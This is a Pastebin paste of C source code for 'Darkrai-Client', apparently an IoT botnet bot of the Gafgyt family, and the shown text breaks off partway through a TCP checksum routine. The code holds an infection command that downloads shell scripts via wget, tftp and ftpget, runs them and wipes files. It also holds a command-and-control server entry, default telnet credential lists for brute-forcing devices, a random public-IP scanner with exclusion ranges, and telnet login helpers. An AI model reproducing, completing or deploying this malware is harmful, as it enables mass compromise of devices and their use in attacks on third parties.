ZucoCheezy

Darkrai-Client

Nov 26th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 101.36 KB | None | 0 0
  1. /*
  2. Skype: b1narythag0d
  3. Made Date: 7-26-16
  4. */
  5. /*
  6.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  7.  
  8. # ___     __________  ____ _______      _____ _______________.___.  ___
  9. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  10. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  11. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  12. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  13. #                  \/              \/         \/       \/ \/
  14.  
  15.                         *** DARKAI CLIENT.C ***
  16. */
  17.  
  18. #define PR_SET_NAME 15
  19. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  20. #define PAD_RIGHT 1
  21. #define PAD_ZERO 2
  22. #define PRINT_BUF_LEN 12
  23. #define CMD_IAC   255
  24. #define CMD_WILL  251
  25. #define CMD_WONT  252
  26. #define CMD_DO    253
  27. #define CMD_DONT  254
  28. #define OPT_SGA   3
  29. #define STD2_STRING "dts"
  30. #define STD2_SIZE 50
  31. #define BUFFER_SIZE 512
  32.  
  33. #include <stdlib.h>
  34. #include <stdarg.h>
  35. #include <stdio.h>
  36. #include <sys/socket.h>
  37. #include <sys/types.h>
  38. #include <netinet/in.h>
  39. #include <arpa/inet.h>
  40. #include <netdb.h>
  41. #include <signal.h>
  42. #include <strings.h>
  43. #include <string.h>
  44. #include <sys/utsname.h>
  45. #include <unistd.h>
  46. #include <fcntl.h>
  47. #include <errno.h>
  48. #include <netinet/ip.h>
  49. #include <netinet/udp.h>
  50. #include <netinet/tcp.h>
  51. #include <sys/wait.h>
  52. #include <sys/ioctl.h>
  53. #include <net/if.h>
  54. #include <pthread.h>
  55.  
  56.  
  57.  
  58.  
  59. char *infectline = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  60. unsigned char *commServer[] =
  61. {
  62.         "0.0.0.0:666"
  63. };
  64.  
  65. char *useragents[] = {
  66.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  67.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  68.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  69.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  70.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  71.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  72.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  73.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  74.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  75.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  76.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  77.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  78.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  79.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  80.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  81.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  82.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  83.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  84.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  85.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  86.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  87.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  88.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  89. };
  90.  
  91.  
  92. int initConnection();
  93. int getBogos(unsigned char *bogomips);
  94. int getCores();
  95. int getCountry(unsigned char *buf, int bufsize);
  96. void makeRandomStr(unsigned char *buf, int length);
  97. int sockprintf(int sock, char *formatStr, ...);
  98. char *inet_ntoa(struct in_addr in);
  99.  
  100. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  101. uint32_t *pids;
  102. uint32_t scanPid;
  103. uint64_t numpids = 0;
  104. struct in_addr ourIP;
  105. unsigned char macAddress[6] = {0};
  106.  
  107. char *usernames[] = {"root\0", "support\0", "guest\0", "ubnt\0"};
  108. char *passwords[] = {"root\0", "\0", "vizxv\0", "admin\0", "123\0", "1234\0", "12345\0", "123456\0", "support\0", "ubnt\0", "7ujMko0vizxv\0", "dreambox\0", "guest\0"};
  109.  
  110. #define PHI 0x9e3779b9
  111. static uint32_t Q[4096], c = 362436;
  112.  
  113. void init_rand(uint32_t x)
  114. {
  115.         int i;
  116.  
  117.         Q[0] = x;
  118.         Q[1] = x + PHI;
  119.         Q[2] = x + PHI + PHI;
  120.  
  121.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  122. }
  123.  
  124. uint32_t rand_cmwc(void)
  125. {
  126.         uint64_t t, a = 18782LL;
  127.         static uint32_t i = 4095;
  128.         uint32_t x, r = 0xfffffffe;
  129.         i = (i + 1) & 4095;
  130.         t = a * Q[i] + c;
  131.         c = (uint32_t)(t >> 32);
  132.         x = t + c;
  133.         if (x < c) {
  134.                 x++;
  135.                 c++;
  136.         }
  137.         return (Q[i] = r - x);
  138. }
  139.  
  140. void trim(char *str)
  141. {
  142.         int i;
  143.         int begin = 0;
  144.         int end = strlen(str) - 1;
  145.  
  146.         while (isspace(str[begin])) begin++;
  147.  
  148.         while ((end >= begin) && isspace(str[end])) end--;
  149.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  150.  
  151.         str[i - begin] = '\0';
  152. }
  153.  
  154. static void printchar(unsigned char **str, int c)
  155. {
  156.         if (str) {
  157.                 **str = c;
  158.                 ++(*str);
  159.         }
  160.         else (void)write(1, &c, 1);
  161. }
  162.  
  163. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  164. {
  165.         register int pc = 0, padchar = ' ';
  166.  
  167.         if (width > 0) {
  168.                 register int len = 0;
  169.                 register const unsigned char *ptr;
  170.                 for (ptr = string; *ptr; ++ptr) ++len;
  171.                 if (len >= width) width = 0;
  172.                 else width -= len;
  173.                 if (pad & PAD_ZERO) padchar = '0';
  174.         }
  175.         if (!(pad & PAD_RIGHT)) {
  176.                 for ( ; width > 0; --width) {
  177.                         printchar (out, padchar);
  178.                         ++pc;
  179.                 }
  180.         }
  181.         for ( ; *string ; ++string) {
  182.                 printchar (out, *string);
  183.                 ++pc;
  184.         }
  185.         for ( ; width > 0; --width) {
  186.                 printchar (out, padchar);
  187.                 ++pc;
  188.         }
  189.  
  190.         return pc;
  191. }
  192.  
  193. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  194. {
  195.         unsigned char print_buf[PRINT_BUF_LEN];
  196.         register unsigned char *s;
  197.         register int t, neg = 0, pc = 0;
  198.         register unsigned int u = i;
  199.  
  200.         if (i == 0) {
  201.                 print_buf[0] = '0';
  202.                 print_buf[1] = '\0';
  203.                 return prints (out, print_buf, width, pad);
  204.         }
  205.  
  206.         if (sg && b == 10 && i < 0) {
  207.                 neg = 1;
  208.                 u = -i;
  209.         }
  210.  
  211.         s = print_buf + PRINT_BUF_LEN-1;
  212.         *s = '\0';
  213.  
  214.         while (u) {
  215.                 t = u % b;
  216.                 if( t >= 10 )
  217.                 t += letbase - '0' - 10;
  218.                 *--s = t + '0';
  219.                 u /= b;
  220.         }
  221.  
  222.         if (neg) {
  223.                 if( width && (pad & PAD_ZERO) ) {
  224.                         printchar (out, '-');
  225.                         ++pc;
  226.                         --width;
  227.                 }
  228.                 else {
  229.                         *--s = '-';
  230.                 }
  231.         }
  232.  
  233.         return pc + prints (out, s, width, pad);
  234. }
  235.  
  236. static int print(unsigned char **out, const unsigned char *format, va_list args )
  237. {
  238.         register int width, pad;
  239.         register int pc = 0;
  240.         unsigned char scr[2];
  241.  
  242.         for (; *format != 0; ++format) {
  243.                 if (*format == '%') {
  244.                         ++format;
  245.                         width = pad = 0;
  246.                         if (*format == '\0') break;
  247.                         if (*format == '%') goto out;
  248.                         if (*format == '-') {
  249.                                 ++format;
  250.                                 pad = PAD_RIGHT;
  251.                         }
  252.                         while (*format == '0') {
  253.                                 ++format;
  254.                                 pad |= PAD_ZERO;
  255.                         }
  256.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  257.                                 width *= 10;
  258.                                 width += *format - '0';
  259.                         }
  260.                         if( *format == 's' ) {
  261.                                 register char *s = (char *)va_arg( args, int );
  262.                                 pc += prints (out, s?s:"(null)", width, pad);
  263.                                 continue;
  264.                         }
  265.                         if( *format == 'd' ) {
  266.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  267.                                 continue;
  268.                         }
  269.                         if( *format == 'x' ) {
  270.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  271.                                 continue;
  272.                         }
  273.                         if( *format == 'X' ) {
  274.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  275.                                 continue;
  276.                         }
  277.                         if( *format == 'u' ) {
  278.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  279.                                 continue;
  280.                         }
  281.                         if( *format == 'c' ) {
  282.                                 scr[0] = (unsigned char)va_arg( args, int );
  283.                                 scr[1] = '\0';
  284.                                 pc += prints (out, scr, width, pad);
  285.                                 continue;
  286.                         }
  287.                 }
  288.                 else {
  289. out:
  290.                         printchar (out, *format);
  291.                         ++pc;
  292.                 }
  293.         }
  294.         if (out) **out = '\0';
  295.         va_end( args );
  296.         return pc;
  297. }
  298.  
  299. int zprintf(const unsigned char *format, ...)
  300. {
  301.         va_list args;
  302.         va_start( args, format );
  303.         return print( 0, format, args );
  304. }
  305.  
  306. int szprintf(unsigned char *out, const unsigned char *format, ...)
  307. {
  308.         va_list args;
  309.         va_start( args, format );
  310.         return print( &out, format, args );
  311. }
  312.  
  313.  
  314. int sockprintf(int sock, char *formatStr, ...)
  315. {
  316.         unsigned char *textBuffer = malloc(2048);
  317.         memset(textBuffer, 0, 2048);
  318.         char *orig = textBuffer;
  319.         va_list args;
  320.         va_start(args, formatStr);
  321.         print(&textBuffer, formatStr, args);
  322.         va_end(args);
  323.         orig[strlen(orig)] = '\n';
  324.         zprintf("buf: %s\n", orig);
  325.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  326.         free(orig);
  327.         return q;
  328. }
  329.  
  330. static int *fdopen_pids;
  331.  
  332. int fdpopen(unsigned char *program, register unsigned char *type)
  333. {
  334.         register int iop;
  335.         int pdes[2], fds, pid;
  336.  
  337.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  338.  
  339.         if (pipe(pdes) < 0) return -1;
  340.         if (fdopen_pids == NULL) {
  341.                 if ((fds = getdtablesize()) <= 0) return -1;
  342.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  343.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  344.         }
  345.  
  346.         switch (pid = vfork())
  347.         {
  348.         case -1:
  349.                 close(pdes[0]);
  350.                 close(pdes[1]);
  351.                 return -1;
  352.         case 0:
  353.                 if (*type == 'r') {
  354.                         if (pdes[1] != 1) {
  355.                                 dup2(pdes[1], 1);
  356.                                 close(pdes[1]);
  357.                         }
  358.                         close(pdes[0]);
  359.                 } else {
  360.                         if (pdes[0] != 0) {
  361.                                 (void) dup2(pdes[0], 0);
  362.                                 (void) close(pdes[0]);
  363.                         }
  364.                         (void) close(pdes[1]);
  365.                 }
  366.                 execl("/bin/sh", "sh", "-c", program, NULL);
  367.                 _exit(127);
  368.         }
  369.         if (*type == 'r') {
  370.                 iop = pdes[0];
  371.                 (void) close(pdes[1]);
  372.         } else {
  373.                 iop = pdes[1];
  374.                 (void) close(pdes[0]);
  375.         }
  376.         fdopen_pids[iop] = pid;
  377.         return (iop);
  378. }
  379.  
  380. int fdpclose(int iop)
  381. {
  382.         register int fdes;
  383.         sigset_t omask, nmask;
  384.         int pstat;
  385.         register int pid;
  386.  
  387.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  388.         (void) close(iop);
  389.         sigemptyset(&nmask);
  390.         sigaddset(&nmask, SIGINT);
  391.         sigaddset(&nmask, SIGQUIT);
  392.         sigaddset(&nmask, SIGHUP);
  393.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  394.         do {
  395.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  396.         } while (pid == -1 && errno == EINTR);
  397.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  398.         fdopen_pids[fdes] = 0;
  399.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  400. }
  401.  
  402. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  403. {
  404.         int got = 1, total = 0;
  405.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  406.         return got == 0 ? NULL : buffer;
  407. }
  408.  
  409. static const long hextable[] = {
  410.         [0 ... 255] = -1,
  411.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  412.         ['A'] = 10, 11, 12, 13, 14, 15,
  413.         ['a'] = 10, 11, 12, 13, 14, 15
  414. };
  415.  
  416. long parseHex(unsigned char *hex)
  417. {
  418.         long ret = 0;
  419.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  420.         return ret;
  421. }
  422.  
  423. int wildString(const unsigned char* pattern, const unsigned char* string) {
  424.         switch(*pattern)
  425.         {
  426.         case '\0': return *string;
  427.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  428.         case '?': return !(*string && !wildString(pattern+1, string+1));
  429.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  430.         }
  431. }
  432.  
  433. int getHost(unsigned char *toGet, struct in_addr *i)
  434. {
  435.         struct hostent *h;
  436.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  437.         return 0;
  438. }
  439.  
  440. void uppercase(unsigned char *str)
  441. {
  442.         while(*str) { *str = toupper(*str); str++; }
  443. }
  444.  
  445. int getBogos(unsigned char *bogomips)
  446. {
  447.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  448.         char linebuf[4096];
  449.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  450.         {
  451.                 uppercase(linebuf);
  452.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  453.                 {
  454.                         unsigned char *pos = linebuf + 8;
  455.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  456.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  457.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  458.                         strcpy(bogomips, pos);
  459.                         close(cmdline);
  460.                         return 0;
  461.                 }
  462.                 memset(linebuf, 0, 4096);
  463.         }
  464.         close(cmdline);
  465.         return 1;
  466. }
  467.  
  468. int getCores()
  469. {
  470.         int totalcores = 0;
  471.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  472.         char linebuf[4096];
  473.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  474.         {
  475.                 uppercase(linebuf);
  476.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  477.                 memset(linebuf, 0, 4096);
  478.         }
  479.         close(cmdline);
  480.         return totalcores;
  481.  
  482. }
  483.  
  484. void makeRandomStr(unsigned char *buf, int length)
  485. {
  486.         int i = 0;
  487.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  488. }
  489.  
  490. int recvLine(int socket, unsigned char *buf, int bufsize)
  491. {
  492.         memset(buf, 0, bufsize);
  493.  
  494.         fd_set myset;
  495.         struct timeval tv;
  496.         tv.tv_sec = 30;
  497.         tv.tv_usec = 0;
  498.         FD_ZERO(&myset);
  499.         FD_SET(socket, &myset);
  500.         int selectRtn, retryCount;
  501.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  502.                 while(retryCount < 10)
  503.                 {
  504.                         sockprintf(mainCommSock, "PING");
  505.  
  506.                         tv.tv_sec = 30;
  507.                         tv.tv_usec = 0;
  508.                         FD_ZERO(&myset);
  509.                         FD_SET(socket, &myset);
  510.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  511.                                 retryCount++;
  512.                                 continue;
  513.                         }
  514.  
  515.                         break;
  516.                 }
  517.         }
  518.  
  519.         unsigned char tmpchr;
  520.         unsigned char *cp;
  521.         int count = 0;
  522.  
  523.         cp = buf;
  524.         while(bufsize-- > 1)
  525.         {
  526.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  527.                         *cp = 0x00;
  528.                         return -1;
  529.                 }
  530.                 *cp++ = tmpchr;
  531.                 if(tmpchr == '\n') break;
  532.                 count++;
  533.         }
  534.         *cp = 0x00;
  535.  
  536. //      zprintf("recv: %s\n", cp);
  537.  
  538.         return count;
  539. }
  540.  
  541. int connectTimeout(int fd, char *host, int port, int timeout)
  542. {
  543.         struct sockaddr_in dest_addr;
  544.         fd_set myset;
  545.         struct timeval tv;
  546.         socklen_t lon;
  547.  
  548.         int valopt;
  549.         long arg = fcntl(fd, F_GETFL, NULL);
  550.         arg |= O_NONBLOCK;
  551.         fcntl(fd, F_SETFL, arg);
  552.  
  553.         dest_addr.sin_family = AF_INET;
  554.         dest_addr.sin_port = htons(port);
  555.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  556.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  557.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  558.  
  559.         if (res < 0) {
  560.                 if (errno == EINPROGRESS) {
  561.                         tv.tv_sec = timeout;
  562.                         tv.tv_usec = 0;
  563.                         FD_ZERO(&myset);
  564.                         FD_SET(fd, &myset);
  565.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  566.                                 lon = sizeof(int);
  567.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  568.                                 if (valopt) return 0;
  569.                         }
  570.                         else return 0;
  571.                 }
  572.                 else return 0;
  573.         }
  574.  
  575.         arg = fcntl(fd, F_GETFL, NULL);
  576.         arg &= (~O_NONBLOCK);
  577.         fcntl(fd, F_SETFL, arg);
  578.  
  579.         return 1;
  580. }
  581.  
  582. int listFork()
  583. {
  584.         uint32_t parent, *newpids, i;
  585.         parent = fork();
  586.         if (parent <= 0) return parent;
  587.         numpids++;
  588.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  589.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  590.         newpids[numpids - 1] = parent;
  591.         free(pids);
  592.         pids = newpids;
  593.         return parent;
  594. }
  595.  
  596. int negotiate(int sock, unsigned char *buf, int len)
  597. {
  598.         unsigned char c;
  599.  
  600.         switch (buf[1]) {
  601.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  602.         case CMD_WILL:
  603.         case CMD_WONT:
  604.         case CMD_DO:
  605.         case CMD_DONT:
  606.                 c = CMD_IAC;
  607.                 send(sock, &c, 1, MSG_NOSIGNAL);
  608.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  609.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  610.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  611.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  612.                 send(sock, &c, 1, MSG_NOSIGNAL);
  613.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  614.                 break;
  615.  
  616.         default:
  617.                 break;
  618.         }
  619.  
  620.         return 0;
  621. }
  622.  
  623. int matchPrompt(char *bufStr)
  624. {
  625.         char *prompts = ":>%$#\0";
  626.  
  627.         int bufLen = strlen(bufStr);
  628.         int i, q = 0;
  629.         for(i = 0; i < strlen(prompts); i++)
  630.         {
  631.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  632.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  633.         }
  634.  
  635.         return 0;
  636. }
  637.  
  638. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  639. {
  640.         int bufferUsed = initialIndex, got = 0, found = 0;
  641.         fd_set myset;
  642.         struct timeval tv;
  643.         tv.tv_sec = timeout;
  644.         tv.tv_usec = timeoutusec;
  645.         unsigned char *initialRead = NULL;
  646.  
  647.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  648.         {
  649.                 FD_ZERO(&myset);
  650.                 FD_SET(fd, &myset);
  651.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  652.                 initialRead = buffer + bufferUsed;
  653.                 got = recv(fd, initialRead, 1, 0);
  654.                 if(got == -1 || got == 0) return 0;
  655.                 bufferUsed += got;
  656.                 if(*initialRead == 0xFF)
  657.                 {
  658.                         got = recv(fd, initialRead + 1, 2, 0);
  659.                         if(got == -1 || got == 0) return 0;
  660.                         bufferUsed += got;
  661.                         if(!negotiate(fd, initialRead, 3)) return 0;
  662.                 } else {
  663.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  664.                 }
  665.         }
  666.  
  667.         if(found) return 1;
  668.         return 0;
  669. }
  670.  
  671. static uint8_t ipState[5] = {0};
  672. in_addr_t getRandomPublicIP()
  673. {
  674.         if(ipState[1] > 0 && ipState[4] < 255)
  675.         {
  676.                 ipState[4]++;
  677.                 char ip[16] = {0};
  678.                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  679.                 return inet_addr(ip);
  680.         }
  681.        
  682.         ipState[0] = rand() % 255;
  683.         ipState[1] = rand() % 255;
  684.         ipState[2] = rand() % 255;
  685.         ipState[3] = rand() % 255;
  686.  
  687.         while(
  688.                 (ipState[0] == 0) ||
  689.                 (ipState[0] == 10) ||
  690.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  691.                 (ipState[0] == 127) ||
  692.                 (ipState[0] == 169 && ipState[1] == 254) ||
  693.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  694.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  695.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  696.                 (ipState[0] == 192 && ipState[1] == 168) ||
  697.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  698.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  699.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  700.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  701.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  702.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  703.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  704.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  705.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  706.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  707.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  708.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  709.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  710.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  711.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  712.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  713.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  714.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  715.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  716.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  717.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  718.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  719.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  720.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  721.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  722.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  723.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  724.                 (ipState[0] == 208 && ipState[1] == 67) ||
  725.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  726.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  727.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  728.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  729.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  730.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  731.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  732.                 (ipState[0] >= 224)
  733.             )
  734.         {
  735.                 ipState[0] = rand() % 255;
  736.                 ipState[1] = rand() % 255;
  737.                 ipState[2] = rand() % 255;
  738.                 ipState[3] = rand() % 255;
  739.         }
  740.  
  741.         char ip[16] = {0};
  742.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  743.         return inet_addr(ip);
  744. }
  745.  
  746. in_addr_t getRandomIP(in_addr_t netmask)
  747. {
  748.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  749.         return tmp ^ ( rand_cmwc() & ~netmask);
  750. }
  751.  
  752. unsigned short csum (unsigned short *buf, int count)
  753. {
  754.         register uint64_t sum = 0;
  755.         while( count > 1 ) { sum += *buf++; count -= 2; }
  756.         if(count > 0) { sum += *(unsigned char *)buf; }
  757.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  758.         return (uint16_t)(~sum);
  759. }
  760.  
  761. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  762. {
  763.  
  764.         struct tcp_pseudo
  765.         {
  766.                 unsigned long src_addr;
  767.                 unsigned long dst_addr;
  768.                 unsigned char zero;
  769.                 unsigned char proto;
  770.                 unsigned short length;
  771.         } pseudohead;
  772.         unsigned short total_len = iph->tot_len;
  773.         pseudohead.src_addr=iph->saddr;
  774.         pseudohead.dst_addr=iph->daddr;
  775.         pseudohead.zero=0;
  776.         pseudohead.proto=IPPROTO_TCP;
  777.         pseudohead.length=htons(sizeof(struct tcphdr));
  778.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  779.         unsigned short *tcp = malloc(totaltcp_len);
